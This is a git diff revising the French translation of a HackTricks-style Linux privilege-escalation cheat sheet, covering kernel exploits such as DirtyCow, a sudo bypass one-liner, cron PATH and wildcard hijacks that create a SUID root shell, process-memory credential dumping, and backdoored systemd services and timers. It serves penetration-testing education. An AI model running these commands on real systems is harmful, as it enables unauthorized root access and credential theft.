diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index ddac4b4b6..de7069bfa 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -1,55 +1,55 @@ -# Escalade de privilèges Linux +# Linux Privilege Escalation {{#include ../../banners/hacktricks-training.md}} ## Informations système -### Infos sur le système d'exploitation +### Informations sur l'OS -Commençons par acquérir des connaissances sur le système d'exploitation en cours d'exécution. +Commençons par recueillir des informations sur l'OS en cours d'exécution ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### Chemin +### Path -Si vous **avez des permissions d'écriture sur un dossier à l'intérieur de la variable `PATH`**, vous pourriez être en mesure de détourner certaines bibliothèques ou binaires : +Si vous **have write permissions on any folder inside the `PATH`** variable, vous pourriez être en mesure de hijack certaines libraries ou binaries: ```bash echo $PATH ``` -### Env info +### Infos d'environnement -Informations intéressantes, mots de passe ou clés API dans les variables d'environnement ? +Des informations intéressantes, des mots de passe ou des clés API dans les variables d'environnement ? ```bash (env || set) 2>/dev/null ``` -### Exploits du noyau +### Kernel exploits -Vérifiez la version du noyau et s'il existe un exploit qui peut être utilisé pour élever les privilèges. +Vérifiez la version du kernel et voyez s'il existe un exploit pouvant être utilisé pour escalate privileges ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Vous pouvez trouver une bonne liste de noyaux vulnérables et quelques **exploits compilés** ici : [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) et [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -D'autres sites où vous pouvez trouver des **exploits compilés** : [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Vous pouvez trouver une bonne liste de kernel vulnérables et quelques **compiled exploits** ici: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +D'autres sites où vous pouvez trouver des **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Pour extraire toutes les versions de noyau vulnérables de ce site, vous pouvez faire : +Pour extraire toutes les versions de kernel vulnérables depuis ce site, vous pouvez faire : ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Les outils qui pourraient aider à rechercher des exploits de noyau sont : +Outils qui peuvent aider à rechercher des exploits pour le kernel : [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (exécutez DANS la victime, vérifie uniquement les exploits pour le noyau 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (exécuter DANS la machine victime, vérifie uniquement les exploits pour kernel 2.x) -Toujours **recherchez la version du noyau sur Google**, peut-être que votre version du noyau est mentionnée dans un exploit de noyau et alors vous serez sûr que cet exploit est valide. +Toujours **recherchez la version du kernel sur Google**, il se peut que votre version du kernel soit mentionnée dans un exploit et ainsi vous serez sûr que cet exploit est valide. ### CVE-2016-5195 (DirtyCow) -Escalade de privilèges Linux - Noyau Linux <= 3.19.0-73.8 +Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8 ```bash # make dirtycow stable echo 0 > /proc/sys/vm/dirty_writeback_centisecs @@ -57,9 +57,9 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Version de Sudo +### Version de sudo -Basé sur les versions vulnérables de sudo qui apparaissent dans : +D'après les versions vulnérables de sudo qui apparaissent dans : ```bash searchsploit sudo ``` @@ -73,13 +73,13 @@ De @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg signature verification failed +### Échec de la vérification de la signature de Dmesg -Vérifiez la **boîte smasher2 de HTB** pour un **exemple** de la façon dont cette vulnérabilité pourrait être exploitée. +Consultez **smasher2 box of HTB** pour un **exemple** montrant comment cette vuln pourrait être exploitée ```bash dmesg 2>/dev/null | grep "signature" ``` -### Plus d'énumération système +### Plus d'énumération du système ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats @@ -123,16 +123,15 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Si vous êtes à l'intérieur d'un conteneur docker, vous pouvez essayer d'en sortir : - +Si vous êtes à l'intérieur d'un docker container, vous pouvez essayer d'en sortir : {{#ref}} docker-security/ {{#endref}} -## Drives +## Disques -Vérifiez **ce qui est monté et démonté**, où et pourquoi. Si quelque chose est démonté, vous pourriez essayer de le monter et de vérifier les informations privées. +Vérifiez **ce qui est mounted et unmounted**, où et pourquoi. Si quelque chose est unmounted, vous pouvez essayer de le mount et vérifier s'il contient des informations privées. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -141,60 +140,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Logiciels utiles -Énumérer les binaires utiles +Énumérer des binaires utiles ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Vérifiez également si **un compilateur est installé**. Cela est utile si vous devez utiliser une exploitation de noyau, car il est recommandé de le compiler sur la machine où vous allez l'utiliser (ou sur une similaire). +De plus, vérifiez si un compiler est installé. Ceci est utile si vous devez utiliser un kernel exploit car il est recommandé de le compiler sur la machine où vous allez l'utiliser (ou sur une similaire). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Logiciels vulnérables installés -Vérifiez la **version des paquets et services installés**. Il se peut qu'il y ait une ancienne version de Nagios (par exemple) qui pourrait être exploitée pour élever les privilèges…\ +Vérifiez la **version des paquets et services installés**. Peut-être qu'il y a une ancienne version de Nagios (par exemple) qui pourrait être exploitée pour escalating privileges…\ Il est recommandé de vérifier manuellement la version des logiciels installés les plus suspects. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Si vous avez un accès SSH à la machine, vous pouvez également utiliser **openVAS** pour vérifier les logiciels obsolètes et vulnérables installés sur la machine. +Si vous avez accès SSH à la machine vous pouvez également utiliser **openVAS** pour vérifier les logiciels installés sur la machine qui sont obsolètes ou vulnérables. -> [!NOTE] > _Notez que ces commandes afficheront beaucoup d'informations qui seront principalement inutiles, il est donc recommandé d'utiliser des applications comme OpenVAS ou similaires qui vérifieront si une version de logiciel installée est vulnérable à des exploits connus._ +> [!NOTE] > _Notez que ces commandes afficheront beaucoup d'informations qui seront pour la plupart inutiles, il est donc recommandé d'utiliser des applications comme OpenVAS ou des outils similaires qui vérifieront si une version de logiciel installée est vulnérable à des exploits connus_ -## Processes +## Processus -Jetez un œil à **quels processus** sont en cours d'exécution et vérifiez si un processus a **plus de privilèges qu'il ne devrait** (peut-être un tomcat exécuté par root ?) +Examinez **les processus** en cours d'exécution et vérifiez si un processus dispose de **plus de privilèges que nécessaire** (par exemple un tomcat exécuté par root ?) ```bash ps aux ps -ef top -n 1 ``` -Toujours vérifier les [**débogueurs electron/cef/chromium**] en cours d'exécution, vous pourriez en abuser pour élever vos privilèges](electron-cef-chromium-debugger-abuse.md). **Linpeas** les détecte en vérifiant le paramètre `--inspect` dans la ligne de commande du processus.\ -Vérifiez également **vos privilèges sur les binaires des processus**, peut-être pouvez-vous écraser quelqu'un. +Vérifiez toujours la présence éventuelle de [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** détecte ceux-ci en vérifiant le paramètre `--inspect` dans la ligne de commande du processus.\ +Vérifiez aussi **vos privilèges sur les binaires des processus**, il se peut que vous puissiez en écraser un. ### Surveillance des processus -Vous pouvez utiliser des outils comme [**pspy**](https://github.com/DominicBreuker/pspy) pour surveiller les processus. Cela peut être très utile pour identifier les processus vulnérables exécutés fréquemment ou lorsque un ensemble de conditions est rempli. +Vous pouvez utiliser des outils comme [**pspy**](https://github.com/DominicBreuker/pspy) pour surveiller les processus. Cela peut être très utile pour identifier des processus vulnérables exécutés fréquemment ou lorsque certaines conditions sont remplies. ### Mémoire des processus -Certains services d'un serveur enregistrent **des identifiants en texte clair dans la mémoire**.\ -Normalement, vous aurez besoin de **privilèges root** pour lire la mémoire des processus appartenant à d'autres utilisateurs, donc cela est généralement plus utile lorsque vous êtes déjà root et souhaitez découvrir plus d'identifiants.\ -Cependant, rappelez-vous que **en tant qu'utilisateur régulier, vous pouvez lire la mémoire des processus que vous possédez**. +Certains services d'un serveur sauvegardent des **credentials en clair dans la mémoire**.\ +Normalement vous aurez besoin de **root privileges** pour lire la mémoire des processus appartenant à d'autres utilisateurs, donc ceci est généralement plus utile quand vous êtes déjà root et voulez découvrir d'autres credentials.\ +Cependant, souvenez‑vous qu'**en tant qu'utilisateur régulier vous pouvez lire la mémoire des processus que vous possédez**. > [!WARNING] -> Notez qu'aujourd'hui, la plupart des machines **ne permettent pas ptrace par défaut**, ce qui signifie que vous ne pouvez pas dumper d'autres processus appartenant à votre utilisateur non privilégié. +> Notez que de nos jours la plupart des machines **n'autorisent pas ptrace par défaut**, ce qui signifie que vous ne pouvez pas dumper d'autres processus appartenant à votre utilisateur non privilégié. > -> Le fichier _**/proc/sys/kernel/yama/ptrace_scope**_ contrôle l'accessibilité de ptrace : +> Le fichier _**/proc/sys/kernel/yama/ptrace_scope**_ contrôle l'accessibilité de ptrace: > -> - **kernel.yama.ptrace_scope = 0** : tous les processus peuvent être débogués, tant qu'ils ont le même uid. C'est la manière classique dont ptracing fonctionnait. -> - **kernel.yama.ptrace_scope = 1** : seul un processus parent peut être débogué. -> - **kernel.yama.ptrace_scope = 2** : seul l'administrateur peut utiliser ptrace, car cela nécessite la capacité CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3** : Aucun processus ne peut être tracé avec ptrace. Une fois défini, un redémarrage est nécessaire pour réactiver le ptracing. +> - **kernel.yama.ptrace_scope = 0**: tous les processus peuvent être débogués, tant qu'ils ont le même uid. C'est la manière classique dont ptracing fonctionnait. +> - **kernel.yama.ptrace_scope = 1**: seul un processus parent peut être débogué. +> - **kernel.yama.ptrace_scope = 2**: Seul l'admin peut utiliser ptrace, car cela nécessite la capacité CAP_SYS_PTRACE. +> - **kernel.yama.ptrace_scope = 3**: Aucun processus ne peut être tracé avec ptrace. Une fois défini, un reboot est nécessaire pour réactiver le ptracing. #### GDB -Si vous avez accès à la mémoire d'un service FTP (par exemple), vous pourriez obtenir le Heap et rechercher à l'intérieur de ses identifiants. +Si vous avez accès à la mémoire d'un service FTP (par exemple), vous pouvez récupérer le Heap et chercher à l'intérieur ses credentials. ```bash gdb -p (gdb) info proc mappings @@ -216,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Pour un identifiant de processus donné, **maps montre comment la mémoire est mappée dans l'espace d'adresses virtuelles de ce processus** ; il montre également les **permissions de chaque région mappée**. Le **fichier pseudo mem expose la mémoire des processus elle-même**. À partir du fichier **maps**, nous savons quelles **régions de mémoire sont lisibles** et leurs décalages. Nous utilisons ces informations pour **chercher dans le fichier mem et vider toutes les régions lisibles** dans un fichier. +Pour un ID de processus donné, **maps montrent comment la mémoire est mappée dans l'espace d'adresses virtuel de ce processus** ; elles indiquent aussi les **permissions de chaque région mappée**. Le pseudo-fichier **mem** **expose la mémoire du processus lui-même**. À partir du fichier **maps** nous savons quelles **régions mémoire sont lisibles** et leurs offsets. Nous utilisons ces informations pour **nous positionner dans le fichier mem et extraire toutes les régions lisibles** dans un fichier. ```bash procdump() ( @@ -231,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` fournit un accès à la mémoire **physique** du système, et non à la mémoire virtuelle. L'espace d'adresses virtuelles du noyau peut être accédé en utilisant /dev/kmem.\ -Typiquement, `/dev/mem` est uniquement lisible par **root** et le groupe **kmem**. +`/dev/mem` fournit l'accès à la mémoire **physique** du système, pas à la mémoire virtuelle. L'espace d'adresses virtuelles du kernel peut être accédé en utilisant /dev/kmem.\ +Typiquement, `/dev/mem` est lisible uniquement par **root** et le groupe **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump pour linux +### ProcDump pour Linux -ProcDump est une réinvention de Linux de l'outil classique ProcDump de la suite d'outils Sysinternals pour Windows. Obtenez-le sur [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump est une réinterprétation pour Linux du classique outil ProcDump de la suite Sysinternals pour Windows. Obtenez-le sur [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,40 +266,40 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Outils -Pour extraire la mémoire d'un processus, vous pouvez utiliser : +Pour dump la mémoire d'un processus, vous pouvez utiliser : - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Vous pouvez supprimer manuellement les exigences root et extraire le processus qui vous appartient -- Script A.5 de [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root est requis) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Vous pouvez retirer manuellement l'exigence de root et dump le processus qui vous appartient +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root requis) -### Identifiants à partir de la mémoire du processus +### Identifiants depuis la mémoire du processus #### Exemple manuel -Si vous constatez que le processus d'authentification est en cours d'exécution : +Si vous trouvez que le processus authenticator est en cours d'exécution : ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Vous pouvez extraire le processus (voir les sections précédentes pour trouver différentes façons d'extraire la mémoire d'un processus) et rechercher des identifiants à l'intérieur de la mémoire : +Vous pouvez dump the process (voir les sections précédentes pour trouver différentes façons de dump the memory of a process) et rechercher des credentials à l'intérieur de la memory : ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -L'outil [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) va **voler des identifiants en texte clair depuis la mémoire** et depuis certains **fichiers bien connus**. Il nécessite des privilèges root pour fonctionner correctement. +L'outil [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) va **voler des identifiants en clair depuis la mémoire** et depuis certains **fichiers bien connus**. Il nécessite des privilèges root pour fonctionner correctement. -| Fonctionnalité | Nom du Processus | -| --------------------------------------------------- | --------------------- | -| Mot de passe GDM (Kali Desktop, Debian Desktop) | gdm-password | -| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | -| LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Connexions FTP Actives) | vsftpd | -| Apache2 (Sessions HTTP Basic Auth Actives) | apache2 | -| OpenSSH (Sessions SSH Actives - Utilisation de Sudo) | sshd: | +| Fonctionnalité | Nom du processus | +| ------------------------------------------------- | -------------------- | +| GDM password (Kali Desktop, Debian Desktop) | gdm-password | +| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | +| LightDM (Ubuntu Desktop) | lightdm | +| VSFTPd (Active FTP Connections) | vsftpd | +| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | +| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | -#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### Regex de recherche/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -314,36 +313,37 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Scheduled/Cron jobs +## Tâches planifiées/Cron jobs -Vérifiez si un travail planifié est vulnérable. Peut-être pouvez-vous tirer parti d'un script exécuté par root (vulnérabilité par joker ? peut modifier des fichiers utilisés par root ? utiliser des liens symboliques ? créer des fichiers spécifiques dans le répertoire utilisé par root ?). +Vérifiez si une tâche planifiée est vulnérable. Peut-être pouvez-vous tirer parti d'un script exécuté par root (wildcard vuln? peut-on modifier des fichiers que root utilise? utiliser des symlinks? créer des fichiers spécifiques dans le répertoire utilisé par root?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Chemin Cron +### Cron path -Par exemple, à l'intérieur de _/etc/crontab_, vous pouvez trouver le PATH : _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Par exemple, dans _/etc/crontab_ vous pouvez trouver le PATH : _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Remarquez comment l'utilisateur "user" a des privilèges d'écriture sur /home/user_) +(_Remarquez que l'utilisateur "user" a des privilèges d'écriture sur /home/user_) -Si à l'intérieur de ce crontab, l'utilisateur root essaie d'exécuter une commande ou un script sans définir le chemin. Par exemple : _\* \* \* \* root overwrite.sh_\ -Alors, vous pouvez obtenir un shell root en utilisant : +Si, dans ce crontab, l'utilisateur root essaie d'exécuter une commande ou un script sans définir le PATH. Par exemple : _\* \* \* \* root overwrite.sh_\ +Alors, vous pouvez obtenir un root shell en utilisant : ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron utilisant un script avec un caractère générique (Injection de caractère générique) +### Cron using a script with a wildcard (Wildcard Injection) -Si un script exécuté par root contient un “**\***” à l'intérieur d'une commande, vous pourriez en profiter pour provoquer des choses inattendues (comme une élévation de privilèges). Exemple : +Si un script exécuté par root contient un “**\***” dans une commande, vous pouvez exploiter cela pour provoquer des comportements inattendus (comme privesc). Exemple: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Si le caractère générique est précédé d'un chemin comme** _**/some/path/\***_ **, il n'est pas vulnérable (même** _**./\***_ **ne l'est pas).** +**Si le wildcard est précédé d'un chemin comme** _**/some/path/\***_ **, il n'est pas vulnérable (même** _**./\***_ **ne l'est pas).** + +Consultez la page suivante pour plus d'astuces d'exploitation de wildcard : -Lisez la page suivante pour plus d'astuces d'exploitation de caractères génériques : {{#ref}} wildcards-spare-tricks.md @@ -351,29 +351,29 @@ wildcards-spare-tricks.md ### Écrasement de script Cron et symlink -Si vous **pouvez modifier un script Cron** exécuté par root, vous pouvez obtenir un shell très facilement : +Si vous **pouvez modifier un script cron** exécuté par root, vous pouvez obtenir un shell très facilement: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Si le script exécuté par root utilise un **répertoire où vous avez un accès complet**, il pourrait être utile de supprimer ce dossier et **de créer un dossier de symlink vers un autre** servant un script contrôlé par vous. +Si le script exécuté par root utilise un **répertoire sur lequel vous avez un accès complet**, il peut être utile de supprimer ce dossier et **de créer un symlink vers un autre dossier** servant un script contrôlé par vous. ```bash ln -d -s ``` -### Tâches cron fréquentes +### Cron jobs fréquents -Vous pouvez surveiller les processus pour rechercher des processus qui sont exécutés toutes les 1, 2 ou 5 minutes. Peut-être que vous pouvez en profiter et élever vos privilèges. +Vous pouvez surveiller les processus pour chercher des processus qui s'exécutent toutes les 1, 2 ou 5 minutes. Peut-être pouvez-vous en tirer parti et escalate privileges. -Par exemple, pour **surveiller toutes les 0,1s pendant 1 minute**, **trier par les commandes les moins exécutées** et supprimer les commandes qui ont été exécutées le plus, vous pouvez faire : +Par exemple, pour **surveiller toutes les 0.1s pendant 1 minute**, **trier par les commandes les moins exécutées** et supprimer les commandes ayant été exécutées le plus souvent, vous pouvez faire: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Vous pouvez également utiliser** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (cela surveillera et listera chaque processus qui démarre). +**Vous pouvez aussi utiliser** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (cela va surveiller et lister chaque processus qui démarre). -### Tâches cron invisibles +### Cron jobs invisibles -Il est possible de créer un cronjob **en mettant un retour chariot après un commentaire** (sans caractère de nouvelle ligne), et le cron job fonctionnera. Exemple (notez le caractère de retour chariot) : +Il est possible de créer un cronjob **en mettant un carriage return après un commentaire** (sans caractère de nouvelle ligne), et le cron job fonctionnera. Exemple (notez le carriage return char): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -381,85 +381,85 @@ Il est possible de créer un cronjob **en mettant un retour chariot après un co ### Fichiers _.service_ modifiables -Vérifiez si vous pouvez écrire dans un fichier `.service`, si c'est le cas, vous **pourriez le modifier** pour qu'il **exécute** votre **backdoor lorsque** le service est **démarré**, **redémarré** ou **arrêté** (peut-être devrez-vous attendre que la machine redémarre).\ -Par exemple, créez votre backdoor à l'intérieur du fichier .service avec **`ExecStart=/tmp/script.sh`** +Vérifiez si vous pouvez écrire n'importe quel fichier `.service`, si oui, vous **pourriez le modifier** pour qu'il **exécute** votre **backdoor lorsque** le service est **démarré**, **redémarré** ou **arrêté** (vous devrez peut‑être attendre que la machine soit redémarrée).\ +Par exemple, créez votre backdoor dans le fichier .service avec **`ExecStart=/tmp/script.sh`** -### Binaires de service modifiables +### Binaires de services modifiables -Gardez à l'esprit que si vous avez **des permissions d'écriture sur des binaires exécutés par des services**, vous pouvez les changer pour des backdoors afin que lorsque les services soient ré-exécutés, les backdoors soient exécutées. +Gardez à l'esprit que si vous avez des **permissions d'écriture sur les binaires exécutés par des services**, vous pouvez les modifier pour y placer des backdoors afin que, lorsque les services seront ré-exécutés, les backdoors s'exécutent. ### systemd PATH - Chemins relatifs -Vous pouvez voir le PATH utilisé par **systemd** avec : +Vous pouvez voir le PATH utilisé par **systemd** avec: ```bash systemctl show-environment ``` -Si vous constatez que vous pouvez **écrire** dans l'un des dossiers du chemin, vous pourriez être en mesure d'**escalader les privilèges**. Vous devez rechercher des **chemins relatifs utilisés dans les fichiers de configuration des services** comme : +Si vous constatez que vous pouvez **écrire** dans l'un des dossiers du chemin, vous pourriez être en mesure d'**escalate privileges**. Vous devez rechercher des fichiers de configuration de service qui utilisent des **chemins relatifs** comme : ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Ensuite, créez un **exécutable** avec le **même nom que le binaire du chemin relatif** dans le dossier PATH de systemd où vous pouvez écrire, et lorsque le service est demandé pour exécuter l'action vulnérable (**Démarrer**, **Arrêter**, **Recharger**), votre **backdoor sera exécutée** (les utilisateurs non privilégiés ne peuvent généralement pas démarrer/arrêter des services, mais vérifiez si vous pouvez utiliser `sudo -l`). +Then, create an **executable** with the **same name as the relative path binary** inside the systemd PATH folder you can write, and when the service is asked to execute the vulnerable action (**Start**, **Stop**, **Reload**), your **backdoor will be executed** (les utilisateurs non privilégiés ne peuvent généralement pas démarrer/arrêter les services mais vérifiez si vous pouvez utiliser `sudo -l`). **En savoir plus sur les services avec `man systemd.service`.** ## **Timers** -Les **Timers** sont des fichiers d'unité systemd dont le nom se termine par `**.timer**` qui contrôlent les fichiers ou événements `**.service**`. Les **Timers** peuvent être utilisés comme une alternative à cron car ils ont un support intégré pour les événements de temps calendaire et les événements de temps monotoniques et peuvent être exécutés de manière asynchrone. +Les **Timers** sont des unit files systemd dont le nom se termine par `**.timer**` et qui contrôlent des fichiers `**.service**` ou des événements. Les **Timers** peuvent être utilisés comme alternative à cron car ils offrent nativement la prise en charge des événements basés sur le calendrier et des événements monotoniques, et peuvent s'exécuter de manière asynchrone. -Vous pouvez énumérer tous les timers avec : +Vous pouvez énumérer tous les timers avec: ```bash systemctl list-timers --all ``` ### Timers modifiables -Si vous pouvez modifier un timer, vous pouvez le faire exécuter certains existants de systemd.unit (comme un `.service` ou un `.target`) +Si vous pouvez modifier un timer, vous pouvez le faire exécuter certaines unités systemd.unit existantes (comme une `.service` ou une `.target`) ```bash Unit=backdoor.service ``` -Dans la documentation, vous pouvez lire ce qu'est l'Unité : +Dans la documentation, vous pouvez lire ce qu'est l'Unit : -> L'unité à activer lorsque ce minuteur expire. L'argument est un nom d'unité, dont le suffixe n'est pas ".timer". Si non spécifié, cette valeur par défaut est un service qui a le même nom que l'unité de minuteur, sauf pour le suffixe. (Voir ci-dessus.) Il est recommandé que le nom de l'unité qui est activée et le nom de l'unité de minuteur soient nommés de manière identique, sauf pour le suffixe. +> L'unité à activer lorsque ce timer expire. L'argument est un nom d'unité, dont le suffixe n'est pas ".timer". S'il n'est pas spécifié, cette valeur par défaut correspond à un service qui a le même nom que l'unité timer, à l'exception du suffixe. (Voir ci-dessus.) Il est recommandé que le nom de l'unité activée et le nom de l'unité de timer soient nommés de façon identique, à l'exception du suffixe. -Par conséquent, pour abuser de cette permission, vous devez : +Par conséquent, pour abuser de cette permission il vous faudrait : -- Trouver une unité systemd (comme un `.service`) qui **exécute un binaire modifiable** -- Trouver une unité systemd qui **exécute un chemin relatif** et sur laquelle vous avez **des privilèges d'écriture** sur le **PATH systemd** (pour usurper cet exécutable) +- Trouver une unité systemd (comme une `.service`) qui **exécute un binaire modifiable** +- Trouver une unité systemd qui **exécute un chemin relatif** et pour laquelle vous avez des **droits d'écriture** sur le **systemd PATH** (pour usurper cet exécutable) -**En savoir plus sur les minuteurs avec `man systemd.timer`.** +**En savoir plus sur les timers avec `man systemd.timer`.** -### **Activation du Minuteur** +### **Activation d'un timer** -Pour activer un minuteur, vous avez besoin de privilèges root et d'exécuter : +Pour activer un timer, vous avez besoin des privilèges root et d'exécuter : ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Notez que le **timer** est **activé** en créant un lien symbolique vers celui-ci dans `/etc/systemd/system/.wants/.timer` +Remarquez que le **timer** est **activé** en créant un symlink vers lui sur `/etc/systemd/system/.wants/.timer` ## Sockets -Les Unix Domain Sockets (UDS) permettent la **communication entre processus** sur les mêmes machines ou différentes dans des modèles client-serveur. Ils utilisent des fichiers de descripteur Unix standard pour la communication inter-ordinateurs et sont configurés via des fichiers `.socket`. +Les Unix Domain Sockets (UDS) permettent la **communication entre processus** sur la même machine ou entre machines dans des modèles client-serveur. Ils utilisent des fichiers de descripteurs Unix standard pour la communication inter-ordinateurs et sont configurés via des fichiers `.socket`. -Les sockets peuvent être configurés à l'aide de fichiers `.socket`. +Les sockets peuvent être configurés en utilisant des fichiers `.socket`. **En savoir plus sur les sockets avec `man systemd.socket`.** Dans ce fichier, plusieurs paramètres intéressants peuvent être configurés : -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction` : Ces options sont différentes mais un résumé est utilisé pour **indiquer où il va écouter** le socket (le chemin du fichier de socket AF_UNIX, l'IPv4/6 et/ou le numéro de port à écouter, etc.) -- `Accept` : Prend un argument booléen. Si **vrai**, une **instance de service est créée pour chaque connexion entrante** et seul le socket de connexion lui est passé. Si **faux**, tous les sockets d'écoute eux-mêmes sont **passés à l'unité de service démarrée**, et une seule unité de service est créée pour toutes les connexions. Cette valeur est ignorée pour les sockets datagram et les FIFOs où une seule unité de service gère inconditionnellement tout le trafic entrant. **Par défaut, c'est faux**. Pour des raisons de performance, il est recommandé d'écrire de nouveaux démons uniquement d'une manière qui convient à `Accept=no`. -- `ExecStartPre`, `ExecStartPost` : Prend une ou plusieurs lignes de commande, qui sont **exécutées avant** ou **après** que les **sockets**/FIFOs d'écoute soient **créés** et liés, respectivement. Le premier token de la ligne de commande doit être un nom de fichier absolu, suivi d'arguments pour le processus. -- `ExecStopPre`, `ExecStopPost` : Commandes supplémentaires qui sont **exécutées avant** ou **après** que les 